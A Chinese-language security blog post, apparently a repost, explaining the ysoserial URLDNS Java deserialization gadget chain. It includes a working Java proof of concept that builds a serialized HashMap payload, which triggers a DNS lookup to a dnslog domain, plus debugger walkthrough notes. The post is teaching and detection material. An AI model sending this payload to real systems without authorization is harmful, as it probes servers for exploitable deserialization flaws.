【JAVA安全】URLDNS反序列化链

admin 2024年10月21日18:21:39评论14 views字数 2364阅读7分52秒阅读模式

unsetunset前言unsetunset

URLDNS是ysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,该利用链具有如下特点:

  • 只能发起 DNS 请求,并不能进行其它利用
  • 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
  • 通过 DNS 请求来验证是否存在反序列化漏洞

unsetunset原理unsetunset

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash() 函数计算 key 的 hashCode。而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress() 来解析域名, 从而发出 DNS 请求。

URLDNS利用链gadget:

HashMap.readObject()
 HashMap.hash()
  URL.hashCode()
   URLStreamHandler.hashCode()
    URLStreamHandler.getHostAddress()
     URL.getHostAddress()
      InetAddress.getByName()

unsetunset利用脚本unsetunset

import java.io.*;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.HashMap;  
  
public class Main {  
    public static void main(String[] args) throws Exception {  
        HashMap map = new HashMap();  
        URL url = new URL("http://9d7a5eeb.log.dnslog.sbs");  
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");  
        f.setAccessible(true);  
        // f.set(url,123); // 设置hashcode的值为-1以外的其他任何数字(为了防止在序列化的时候就发起一次dns请求,不加这个也行)   
        map.put(url, "F1rstb100d");  
        f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发  
         
        serialize(map);  
        unserialize();  
    }  
    
    public static void serialize(final Object map) throws Exception {  
        FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");  
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);  
        outputStream.writeObject(map);  
        outputStream.close();  
        fileOutputStream.close();  
    }  
     
    public static void unserialize() throws Exception {  
        FileInputStream fileInputStream = new FileInputStream("./urldns.ser");  
        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);  
        inputStream.readObject();  
        inputStream.close();  
        fileInputStream.close();  
    }  
}

unsetunset调试unsetunset

入口点就是HashMap类的readObject方法,结尾处调用了HashMap类自己的hash方法

【JAVA安全】URLDNS反序列化链

其hash方法中又调用了key的hashCode方法,此时HashMap中key放的是java.net.URL对象,也就是调用URL类的hashCode方法

【JAVA安全】URLDNS反序列化链

URL类的hashCode方法在hashCode为-1的时候调用handler的hashCode方法,点一下handler看到类是URLStreamHandler,也就是调用了URLStreamHandler的hashCode方法

【JAVA安全】URLDNS反序列化链
【JAVA安全】URLDNS反序列化链

继续看URLStreamHandler的hashCode方法中其对传入的URL变量u调用了getHostAddress方法

【JAVA安全】URLDNS反序列化链

继续往里点看到回到了URL类的getHostAddress方法,其中调用了InetAddress类的getByName方法

【JAVA安全】URLDNS反序列化链

查阅JDK文档看到getHostAddress方法是为了请求DNS获取对应域名的ip地址解析,也就是完整的DNS请求链了

【JAVA安全】URLDNS反序列化链

unsetunset测试unsetunset

如果服务器出网的话,可以正常收到DNSlog请求

【JAVA安全】URLDNS反序列化链

原文始发于微信公众号(智佳网络安全):【JAVA安全】URLDNS反序列化链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日18:21:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【JAVA安全】URLDNS反序列化链https://cn-sec.com/archives/3293220.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息